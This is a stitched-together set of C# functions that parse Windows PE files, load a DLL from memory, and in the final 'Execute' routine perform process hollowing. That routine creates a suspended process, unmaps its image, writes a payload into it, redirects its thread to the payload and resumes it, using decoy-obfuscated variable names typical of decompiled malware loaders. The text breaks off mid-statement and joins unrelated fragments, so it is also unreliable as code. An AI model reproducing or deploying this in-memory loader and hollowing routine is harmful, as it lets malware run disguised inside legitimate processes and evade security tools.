IMAGE_SECTION_HEADER *section_header = null; for (int i = 0; i < header->FileHeader.NumberOfSections; i++) { if (section_table[i].Name != _rsrc_id) { continue; } section_header = section_table + i; break; } if (section_header == null) { SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); return(null); } var raw = (BYTE *)FileData + section_header->PointerToRawData; var resource_section = (IMAGE_RESOURCE_DIRECTORY *)(raw + (resource_header->VirtualAddress - section_header->VirtualAddress)); var resource_dir_entry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(resource_section + 1); for (int i = 0; i < resource_section->NumberOfNamedEntries + resource_section->NumberOfIdEntries; i++) { if (!resource_dir_entry[i].NameIsString && resource_dir_entry[i].Id == RT_VERSION && resource_dir_entry[i].DataIsDirectory) { var found_entry = resource_dir_entry + i; var found_dir = (IMAGE_RESOURCE_DIRECTORY *)((BYTE *)resource_section + found_entry->OffsetToDirectory); if ((found_dir->NumberOfIdEntries + found_dir->NumberOfNamedEntries) == 0) { continue; } var found_dir_entry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(found_dir + 1); for (int j = 0; j < found_dir->NumberOfNamedEntries + found_dir->NumberOfIdEntries; j++) { if (!found_dir_entry[j].DataIsDirectory) { continue; } var found_subdir = (IMAGE_RESOURCE_DIRECTORY *)((BYTE *)resource_section + found_dir_entry->OffsetToDirectory); if ((found_subdir->NumberOfIdEntries + found_subdir->NumberOfNamedEntries) == 0) { continue; } var found_subdir_entry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(found_subdir + 1); if (found_subdir_entry->DataIsDirectory) { continue; } var found_data_entry = (IMAGE_RESOURCE_DATA_ENTRY *)((BYTE *)resource_section + found_subdir_entry->OffsetToData); var resptr = (VS_VERSIONINFO *)(raw + (found_data_entry->OffsetToData - section_header->VirtualAddress)); if (resptr->wType != 0 || !StringComparer.Ordinal.Equals(new string(resptr->szKey, 0, 15), "VS_VERSION_INFO") || resptr->FixedFileInfo.Signature != FixedFileVerInfo.FixedFileVerSignature) { SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); return(null); } ResourceSize = (int)found_data_entry->Size; return(resptr); } } } SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); return(null); }
/// <summary> /// 加载dLL /// </summary> /// <param name="pUnmanagedBuffer"></param> /// <param name="iBufferLength"></param> /// <returns></returns> private unsafe Boolean LoadDLLFromMemory(IntPtr pUnmanagedBuffer, Int32 iBufferLength) { try { if (iBufferLength < sizeof(IMAGE_DOS_HEADER)) { throw new Exception("Data is too short"); } IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pUnmanagedBuffer; if (pDosHeader->e_magic != 0x5A4D) { throw new Exception("DOS file format error"); } if (iBufferLength < pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)) { throw new Exception("Data is short"); } IMAGE_NT_HEADERS *pPEHeader = (IMAGE_NT_HEADERS *)(pUnmanagedBuffer + pDosHeader->e_lfanew); if (pPEHeader->Signature != Win32API.IMAGE_NT_SIGNATURE) { throw new Exception("windows file Signature error"); } if ((pPEHeader->FileHeader.Characteristics & Win32API.IMAGE_FILE_DLL) != Win32API.IMAGE_FILE_DLL) { throw new Exception("Dll Not dynamic library"); } IMAGE_SECTION_HEADER *pSectionHeader = (IMAGE_SECTION_HEADER *)(pUnmanagedBuffer + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); for (Int32 i = 0; i < pPEHeader->FileHeader.NumberOfSections; i++) { if (pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData > iBufferLength) { throw new Exception("Section data error"); } } //计算空间 this.mModuleSize = this.CalcTotalImageSize(pPEHeader, pSectionHeader); if (this.mModuleSize == 0 || this.mModuleSize > iBufferLength * 10) { throw new Exception("unknown error"); } #if _WIN64 this.mModuleHandle = Win32API.VirtualAlloc((IntPtr)((Int64)pPEHeader->OptionalHeader.ImageBase), this.mModuleSize, Win32API.MEM_COMMIT | Win32API.MEM_RESERVE, Win32API.PAGE_EXECUTE_READWRITE); #else this.mModuleHandle = Win32API.VirtualAlloc((IntPtr)((Int32)pPEHeader->OptionalHeader.ImageBase), this.mModuleSize, Win32API.MEM_COMMIT | Win32API.MEM_RESERVE, Win32API.PAGE_EXECUTE_READWRITE); #endif if (this.mModuleHandle == IntPtr.Zero) { Int32 iLastError = Marshal.GetLastWin32Error(); this.mModuleHandle = Win32API.VirtualAlloc(IntPtr.Zero, this.mModuleSize, Win32API.MEM_COMMIT | Win32API.MEM_RESERVE, Win32API.PAGE_EXECUTE_READWRITE); } if (this.mModuleHandle == IntPtr.Zero) { throw new Exception("run out of memory?"); } this.CopyDllDatas(pUnmanagedBuffer, pPEHeader, pSectionHeader); pDosHeader = (IMAGE_DOS_HEADER *)this.mModuleHandle; pPEHeader = (IMAGE_NT_HEADERS *)(this.mModuleHandle + pDosHeader->e_lfanew); pSectionHeader = (IMAGE_SECTION_HEADER *)(this.mModuleHandle + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); if (pDosHeader->e_magic != 0x5A4D) { throw new Exception("DOS file format error"); } if (iBufferLength < pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)) { throw new Exception("DOS file header data error"); } if (pPEHeader->Signature != Win32API.IMAGE_NT_SIGNATURE) { throw new Exception("windows file Signature error"); } if ((pPEHeader->FileHeader.Characteristics & Win32API.IMAGE_FILE_DLL) != Win32API.IMAGE_FILE_DLL) { throw new Exception("Dll Not dynamic library"); } for (Int32 i = 0; i < pPEHeader->FileHeader.NumberOfSections; i++) { if (pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData > iBufferLength) { throw new Exception("Section data error"); } } //重定位 var baseRelocDirEntry = pPEHeader->OptionalHeader.GetDirectory(IMAGE_DIRECTORY_ENTRY.IMAGE_DIRECTORY_ENTRY_BASERELOC); if (baseRelocDirEntry.VirtualAddress > 0 && baseRelocDirEntry.Size > 0) { this.ReLocation(pPEHeader); } this.FillImportTable(pPEHeader); #if _WIN64 this.mDllMain = (DllMainHandle)Marshal.GetDelegateForFunctionPointer((IntPtr)((Int64)this.mModuleHandle + (Int64)pPEHeader->OptionalHeader.AddressOfEntryPoint), typeof(DllMainHandle)); #else this.mDllMain = (DllMainHandle)Marshal.GetDelegateForFunctionPointer(this.mModuleHandle + (Int32)pPEHeader->OptionalHeader.AddressOfEntryPoint, typeof(DllMainHandle)); #endif return(this.mDllMain.Invoke(this.mModuleHandle, Win32API.DLL_PROCESS_ATTACH, IntPtr.Zero)); } catch (Exception ex) { throw (ex); } }
private unsafe bool processImageResourceDirectoryEntry(IMAGE_RESOURCE_DIRECTORY *pIrd, IMAGE_RESOURCE_DIRECTORY_ENTRY *pIrde, uint baserva, string sResType, IMAGE_SECTION_HEADER *pIsh, byte *pData) { //string sResName; UInt16 nEntries; uint i; /* * if (Convert.ToBoolean((pIrde->Name & 0x80000000) >> 31)) // pIrde->Name ==> NameIsString? see Winnt.h * { * IMAGE_RESOURCE_DIR_STRING_U* pDirStringUnicode = (IMAGE_RESOURCE_DIR_STRING_U*)(pIrd + pIrde->OffsetToData); * sResName = MakeStringFromUTF8((byte*)&pDirStringUnicode->NameString); * } */ if (!Convert.ToBoolean((pIrde->OffsetToData & 0x80000000) >> 31)) // pIrde->OffsetToData ==> DataIsDirectory? see Winnt.h { throw new Exception("A resource directory was expected but parsing failed"); } IMAGE_RESOURCE_DIRECTORY * pIrdLevel_2 = (IMAGE_RESOURCE_DIRECTORY *)((baserva + pIrde->OffsetToData & 0x7fffffff)); IMAGE_RESOURCE_DIRECTORY_ENTRY *pIrdeLevel_2 = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(pIrdLevel_2 + 1); nEntries = (UInt16)(pIrdLevel_2->NumberOfIdEntries + pIrdLevel_2->NumberOfNamedEntries); for (i = 0; i < nEntries; i++) { IMAGE_RESOURCE_DATA_ENTRY *irdata = (IMAGE_RESOURCE_DATA_ENTRY *)(baserva + pIrdeLevel_2->OffsetToData); if (sResType == ResourceType.RT_VERSION.ToString()) { if (!processVersion_Information(irdata, baserva, pIsh, pData)) { return(false); } } if (sResType == ResourceType.RT_GROUP_ICON.ToString()) { if (!processVersion_Icon(irdata, baserva, pIsh, pData)) { return(false); } } pIrdeLevel_2++; } return(true); }
/// <summary> /// 拷贝区段数据到内存 /// </summary> /// <param name="pUnmanagedBuffer"></param> /// <param name="pPEHeader"></param> /// <param name="pSectionHeader"></param> private unsafe void CopyDllDatas(IntPtr pUnmanagedBuffer, IMAGE_NT_HEADERS *pPEHeader, IMAGE_SECTION_HEADER *pSectionHeader) { Win32API.CopyMemory(this.mModuleHandle, pUnmanagedBuffer, pPEHeader->OptionalHeader.SizeOfHeaders); // 复制(DOS头+DOS STUB) + PE头 + SECTION TABLE // 复制每一个SECTION for (Int32 i = 0; i < pPEHeader->FileHeader.NumberOfSections; i++) { if (pSectionHeader[i].VirtualAddress > 0 && pSectionHeader[i].SizeOfRawData > 0) { var lpSection = this.mModuleHandle + (Int32)pSectionHeader[i].VirtualAddress; Win32API.CopyMemory(lpSection, pUnmanagedBuffer + (Int32)pSectionHeader[i].PointerToRawData, pSectionHeader[i].SizeOfRawData); } } }
private unsafe bool processVersion_Information(IMAGE_RESOURCE_DATA_ENTRY *irdata, uint baserva, IMAGE_SECTION_HEADER *pIsh, byte *pData) { uint offset; uint ustr_offset; string sVersionInfoString; offset = (irdata->OffsetToData - pIsh->VirtualAddress) + pIsh->PointerToRawData; // OffsetFromRVA VS_VERSIONINFO *pVI = (VS_VERSIONINFO *)(offset + pData); ustr_offset = (irdata->OffsetToData - pIsh->VirtualAddress) + pIsh->PointerToRawData + (uint)sizeof(VS_VERSIONINFO) + (uint)pData; IMAGE_RESOURCE_INFO_STRING_U *pDirStringUnicode = (IMAGE_RESOURCE_INFO_STRING_U *)(ustr_offset); sVersionInfoString = MakeStringFromUTF8_2((byte *)&pDirStringUnicode->String, (int)pVI->wValueLength); if (sVersionInfoString != "VS_VERSION_INFO") { throw new Exception("Invalid VS_VERSION_INFO block detected"); } uint fixedfileinfo_offset = dword_align(((uint)sizeof(VS_VERSIONINFO) + 2 * ((uint)sVersionInfoString.Length + 1)), (uint)irdata->OffsetToData); VS_FIXEDFILEINFO *pFFI = (VS_FIXEDFILEINFO *)(fixedfileinfo_offset + offset + pData); if (pFFI->dwSignature != 0xfeef04bd) // 4277077181 { throw new Exception("Wrong VS_FIXED_FILE_INFO signature detected."); } uint stringfileinfo_offset = dword_align((fixedfileinfo_offset + (uint)sizeof(VS_FIXEDFILEINFO)), (uint)irdata->OffsetToData); uint original_stringfileinfo_offset = stringfileinfo_offset; while (true) { STRING_FILE_INFO * pSFI = (STRING_FILE_INFO *)(stringfileinfo_offset + offset + pData); IMAGE_RESOURCE_INFO_STRING_U *pDirStringUnicode_2 = (IMAGE_RESOURCE_INFO_STRING_U *)(ustr_offset + stringfileinfo_offset); string stringfileinfo_string = MakeStringFromUTF8_2((byte *)&pDirStringUnicode_2->String, pSFI->Length); if (stringfileinfo_string.StartsWith("StringFileInfo")) { //if (pSFI->Type == 1 && pSFI->ValueLength == 0) //{ uint stringtable_offset = dword_align((stringfileinfo_offset + (uint)sizeof(STRING_FILE_INFO) + 2 * ((uint)stringfileinfo_string.Length) + 1), (uint)irdata->OffsetToData); while (true) { STRING_TABLE *pST = (STRING_TABLE *)(stringtable_offset + offset + pData); if ((pST->Length + pST->ValueLength) == 0) { break; } IMAGE_RESOURCE_INFO_STRING_U *pDirStringUnicode_3 = (IMAGE_RESOURCE_INFO_STRING_U *)(ustr_offset + stringtable_offset); string stringtable_string = MakeStringFromUTF8_2((byte *)&pDirStringUnicode_3->String, pST->Length); uint entry_offset = dword_align(stringtable_offset + (uint)sizeof(STRING_TABLE) + 2 * ((uint)stringtable_string.Length + 1), (uint)irdata->OffsetToData); // Now get all entries while (entry_offset < stringtable_offset + pST->Length) { STRING_FORMAT *pSF = (STRING_FORMAT *)(entry_offset + offset + pData); if ((pSF->Length + pSF->ValueLength) == 0) { break; } IMAGE_RESOURCE_INFO_STRING_U *pDirStringUnicode_Key = (IMAGE_RESOURCE_INFO_STRING_U *)(ustr_offset + entry_offset); string key = MakeStringFromUTF8_2((byte *)&pDirStringUnicode_Key->String, pSF->Length); uint value_offset = dword_align(entry_offset + 2 + (2 * (uint)key.Length + 1), (uint)irdata->OffsetToData); IMAGE_RESOURCE_INFO_STRING_U *pDirStringUnicode_Value = (IMAGE_RESOURCE_INFO_STRING_U *)(ustr_offset + value_offset - 2); string value = MakeStringFromUTF8_2((byte *)&pDirStringUnicode_Value->String, pSF->ValueLength); if (!m_VersionInfo.ContainsKey(key)) { m_VersionInfo.Add(key, value); } else { System.Diagnostics.Debug.WriteLine("Schon drinne"); } if (pSF->Length == 0) { entry_offset = stringtable_offset + pST->Length; } else { entry_offset = dword_align(pSF->Length + entry_offset, (uint)irdata->OffsetToData); } } break; } //} } else if (stringfileinfo_string.StartsWith("VarFileInfo")) { // TODO: Handle VarFileInfo } stringfileinfo_offset = stringfileinfo_offset + pSFI->Length; if (pSFI->Length == 0 || stringfileinfo_offset >= pVI->wLength) { break; } } return(true); }
private unsafe bool processVersion_Icon(IMAGE_RESOURCE_DATA_ENTRY *irdata, uint baserva, IMAGE_SECTION_HEADER *pIsh, byte *pData) { uint offset; uint ustr_offset; string sVersionInfoString; offset = irdata->OffsetToData - pIsh->VirtualAddress + pIsh->PointerToRawData; // OffsetFromRVA ICOHEADER *piHeader = (ICOHEADER *)(offset + pData); if (piHeader->imgcount > 0) { ICODATA *pIcon = (ICODATA *)(offset + pData + sizeof(ICOHEADER)); //pIcon-> BITMAPINFOHEADER *pDIP = (BITMAPINFOHEADER *)(pData + pIcon->imgadr); } return(true); }
private static uint GetEffectiveSectionSize64(IMAGE_NT_HEADERS64 *ntHeaders64, IMAGE_SECTION_HEADER *section) { if (section->SizeOfRawData != 0) { return(section->SizeOfRawData); } if ((section->Characteristics & DataSectionFlags.ContentInitializedData) != 0) { return(ntHeaders64->OptionalHeader.SizeOfInitializedData); } if ((section->Characteristics & DataSectionFlags.ContentUninitializedData) != 0) { return(ntHeaders64->OptionalHeader.SizeOfUninitializedData); } return(0); }
private unsafe bool processImageResourceDirectory(IMAGE_RESOURCE_DIRECTORY *pIrd, IMAGE_RESOURCE_DIRECTORY_ENTRY *pIrde, uint baserva, IMAGE_SECTION_HEADER *pIsh, byte *pData) { string sResType; UInt16 nEntries; uint i; if (Convert.ToBoolean((pIrde->Name & 0x80000000) >> 31)) // pIrde->Name ==> NameIsString? see Winnt.h { return(true); IMAGE_RESOURCE_DIR_STRING_U *pDirStringUnicode = (IMAGE_RESOURCE_DIR_STRING_U *)(pIrd + pIrde->OffsetToData); sResType = MakeStringFromUTF8((byte *)&pDirStringUnicode->NameString); } else { ResourceType eRT = (ResourceType)pIrde->Name; switch (eRT) { case ResourceType.RT_VERSION: sResType = ResourceType.RT_VERSION.ToString(); break; case ResourceType.RT_ICON: sResType = ResourceType.RT_ICON.ToString(); break; case ResourceType.RT_GROUP_ICON: sResType = ResourceType.RT_GROUP_ICON.ToString(); break; default: sResType = "Unknown"; break; } } if (!Convert.ToBoolean((pIrde->OffsetToData & 0x80000000) >> 31)) // pIrde->OffsetToData ==> DataIsDirectory? see Winnt.h { throw new Exception("A resource directory was expected but parsing failed"); } IMAGE_RESOURCE_DIRECTORY *pIrdLevel_1 = (IMAGE_RESOURCE_DIRECTORY *)((baserva + pIrde->OffsetToData & 0x7fffffff)); pIrde = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(pIrdLevel_1 + 1); nEntries = (UInt16)(pIrdLevel_1->NumberOfIdEntries + pIrdLevel_1->NumberOfNamedEntries); for (i = 0; i < nEntries; i++) { if (!processImageResourceDirectoryEntry(pIrdLevel_1, pIrde, baserva, sResType, pIsh, pData)) { throw new Exception("Error during image resource directory entry parsing."); } pIrde++; } return(true); }
public PEFile(FileStream Fin, int BufferLength) { this.fin = Fin; this.BufferLength = BufferLength; this.bData = ReadFile(fin, BufferLength); bool b64 = false; unsafe { fixed(byte *pData = this.bData) { IMAGE_DOS_HEADER * pIdh = (IMAGE_DOS_HEADER *)pData; IMAGE_NT_HEADERS32 *pInhs32 = (IMAGE_NT_HEADERS32 *)(pIdh->e_lfanew + pData); IMAGE_NT_HEADERS64 *pInhs64 = (IMAGE_NT_HEADERS64 *)(pIdh->e_lfanew + pData); if (pInhs32->FileHeader.SizeOfOptionalHeader > 0) // check for non object file { if (pInhs32->OptionalHeader.Magic == 0x10b) { // 32 Bit } if (pInhs32->OptionalHeader.Magic == 0x20b) { // 64 Bit b64 = true; } if (pInhs32->OptionalHeader.CLRDataDirectory.Size > 0) { m_IsManaged = true; } else { m_IsManaged = false; } if ((this.bData.Length < 9192) && (pInhs32->OptionalHeader.BaseOfCode > 2048)) { iEntryPoint = 2048; } else { if (b64) { iEntryPoint = pInhs64->OptionalHeader.BaseOfCode; } else { iEntryPoint = pInhs32->OptionalHeader.BaseOfCode; } } m_BinImprint = viGetFullImprint_ByteArray(bData, iEntryPoint); iNTHeaderOffset = pIdh->e_lfanew; iOptionalHeaderOffset = iNTHeaderOffset + 4 + (int)sizeof(IMAGE_FILE_HEADER); iSectionOffset = iOptionalHeaderOffset + (int)pInhs32->FileHeader.SizeOfOptionalHeader; iOffset = iSectionOffset + (int)pData; for (int i = 0; i < pInhs32->FileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER *pIsh = (IMAGE_SECTION_HEADER *)(iOffset + (int)(sizeof(IMAGE_SECTION_HEADER) * i)); iBaseRVA = pIsh->PointerToRawData + (uint)pData; if (MakeStringFromUTF8((byte *)&pIsh->Name) == ".rsrc") { if (pIsh->VirtualSize > 0) { iImageSectionHeaderSize = pIsh->VirtualSize; } else { iImageSectionHeaderSize = pIsh->SizeOfRawData; } if (b64) { if (pInhs64->OptionalHeader.ResourceDataDirectory.VirtualAddress >= pIsh->VirtualAddress && pInhs64->OptionalHeader.ResourceDataDirectory.VirtualAddress < pIsh->VirtualAddress + iImageSectionHeaderSize) { IMAGE_RESOURCE_DIRECTORY * pIrd = (IMAGE_RESOURCE_DIRECTORY *)(pIsh->PointerToRawData + (uint)pData); IMAGE_RESOURCE_DIRECTORY_ENTRY *pIrde = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(pIrd + 1); nEntries = (UInt16)(pIrd->NumberOfIdEntries + pIrd->NumberOfNamedEntries); for (int j = 0; j < nEntries; j++) { if (!processImageResourceDirectory(pIrd, pIrde, iBaseRVA, pIsh, pData)) { throw new Exception("Error during resource directory parsing."); } pIrde++; } } } else { if (pInhs32->OptionalHeader.ResourceDataDirectory.VirtualAddress >= pIsh->VirtualAddress && pInhs32->OptionalHeader.ResourceDataDirectory.VirtualAddress < pIsh->VirtualAddress + iImageSectionHeaderSize) { IMAGE_RESOURCE_DIRECTORY * pIrd = (IMAGE_RESOURCE_DIRECTORY *)(pIsh->PointerToRawData + (uint)pData); IMAGE_RESOURCE_DIRECTORY_ENTRY *pIrde = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)(pIrd + 1); nEntries = (UInt16)(pIrd->NumberOfIdEntries + pIrd->NumberOfNamedEntries); for (int j = 0; j < nEntries; j++) { if (!processImageResourceDirectory(pIrd, pIrde, iBaseRVA, pIsh, pData)) { throw new Exception("Error during resource directory parsing."); } pIrde++; } } } } if (iOffset >= iOptionalHeaderOffset + (int)sizeof(IMAGE_OPTIONAL_HEADER32) + 8 * 16 + (int)pData) // just for savety reasons { break; } } } } } }
public static unsafe bool Execute(LoadParams args) { bool isWow64 = false; PROCESS_INFORMATION lpProcesSystemNetCertPolicyValidationCallbackv = new PROCESS_INFORMATION(); CONTEXT context = new CONTEXT() { ContextFlags = 1048603 }; IntPtr lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU; IMAGE_DOS_HEADER *imageDosHeaderPtr; IMAGE_NT_HEADERS *imageNtHeadersPtr; fixed(byte *numPtr = args.Body) { lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU = (IntPtr)((void *)numPtr); imageDosHeaderPtr = (IMAGE_DOS_HEADER *)numPtr; imageNtHeadersPtr = (IMAGE_NT_HEADERS *)(numPtr + imageDosHeaderPtr->e_lfanew); } if (imageDosHeaderPtr->e_magic != (ushort)23117 || imageNtHeadersPtr->Signature != 17744U || imageNtHeadersPtr->OptionalHeader.Magic != (ushort)267) { return(false); } Buffer.SetByte((Array)args.Body, 920, (byte)2); STARTUPINFO lpStartupInfo = new STARTUPINFO(); lpStartupInfo.cb = Marshal.SizeOf((object)lpStartupInfo); lpStartupInfo.wShowWindow = (short)0; using (LibInvoker libInvoker1 = new LibInvoker("kernel32.dll")) { using (LibInvoker libInvoker2 = new LibInvoker("ntdll.dll")) { if (!libInvoker1.CastToDelegate <NativeDelegates.CreateProcessInternalWDelegate>("CreateProcessInternalW")(0U, (string)null, args.AppPath, IntPtr.Zero, IntPtr.Zero, false, 134217740U, IntPtr.Zero, Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), ref lpStartupInfo, out lpProcesSystemNetCertPolicyValidationCallbackv, 0U)) { if (lpProcesSystemNetCertPolicyValidationCallbackv.hProcess != IntPtr.Zero && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; } return(false); } int num3 = libInvoker1.CastToDelegate <NativeDelegates.IsWow64ProcessDelegate>("IsWow64Process")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, ref isWow64) ? 1 : 0; IntPtr imageBase = (IntPtr)((long)imageNtHeadersPtr->OptionalHeader.ImageBase); int num4 = (int)libInvoker2.CastToDelegate <NativeDelegates.NtUnmapViewOfSectionDelegate>("NtUnmapViewOfSection")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, imageBase); if (libInvoker1.CastToDelegate <NativeDelegates.VirtualAllocExDelegate>("VirtualAllocEx")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, imageBase, imageNtHeadersPtr->OptionalHeader.SizeOfImage, 12288U, 64U) == IntPtr.Zero && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } if (!libInvoker1.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, imageBase, lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU, imageNtHeadersPtr->OptionalHeader.SizeOfHeaders, IntPtr.Zero) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } for (ushort index = 0; (int)index < (int)imageNtHeadersPtr->FileHeader.NumberOfSections; ++index) { IMAGE_SECTION_HEADER *imageSectionHeaderPtr = (IMAGE_SECTION_HEADER *)((ulong)lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU.ToInt64() + (ulong)imageDosHeaderPtr->e_lfanew + (ulong)Marshal.SizeOf(typeof(IMAGE_NT_HEADERS)) + (ulong)(Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)) * (int)index)); if (!libInvoker1.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, (IntPtr)(imageBase.ToInt64() + (long)imageSectionHeaderPtr->VirtualAddress), (IntPtr)(lSqlDependencyProcessDispatcherSqlConnectionContainerHashHelperU.ToInt64() + (long)imageSectionHeaderPtr->PointerToRawData), imageSectionHeaderPtr->SizeOfRawData, IntPtr.Zero) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } } if (isWow64) { if (!libInvoker1.CastToDelegate <NativeDelegates.Wow64GetThreadContextDelegate>("Wow64GetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &context) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } } else if (!libInvoker1.CastToDelegate <NativeDelegates.Wow64GetThreadContextDelegate>("GetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &context) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } IntPtr num5 = Marshal.AllocHGlobal(8); ulong int64 = (ulong)imageBase.ToInt64(); byte[] source = new byte[8]; for (int index = 0; index < 8; ++index) { source[index] = (byte)(int64 >> index * 8); if (index == 7) { Marshal.Copy(source, 0, num5, 8); } } if (!libInvoker1.CastToDelegate <NativeDelegates.WriteProcessMemoryDelegate>("WriteProcessMemory")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, (IntPtr)((long)context.Ebx + 8L), num5, 4U, IntPtr.Zero)) { Marshal.FreeHGlobal(num5); if (libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } } Marshal.FreeHGlobal(num5); context.Eax = (uint)((ulong)imageBase.ToInt64() + (ulong)imageNtHeadersPtr->OptionalHeader.AddressOfEntryPoint); if (isWow64) { if (!libInvoker1.CastToDelegate <NativeDelegates.Wow64SetThreadContextDelegate>("Wow64SetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &context) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } } else if (!libInvoker1.CastToDelegate <NativeDelegates.Wow64SetThreadContextDelegate>("SetThreadContext")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread, &context) && libInvoker1.CastToDelegate <NativeDelegates.TerminateProcessDelegate>("TerminateProcess")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess, -1)) { int num1 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num2 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread) ? 1 : 0; return(false); } int num6 = (int)libInvoker1.CastToDelegate <NativeDelegates.ResumeThreadDelegate>("ResumeThread")(lpProcesSystemNetCertPolicyValidationCallbackv.hThread); int num7 = libInvoker1.CastToDelegate <NativeDelegates.CloseHandleDelegate>("CloseHandle")(lpProcesSystemNetCertPolicyValidationCallbackv.hProcess) ? 1 : 0; int num8 = libInvoker1.CastToDelegate 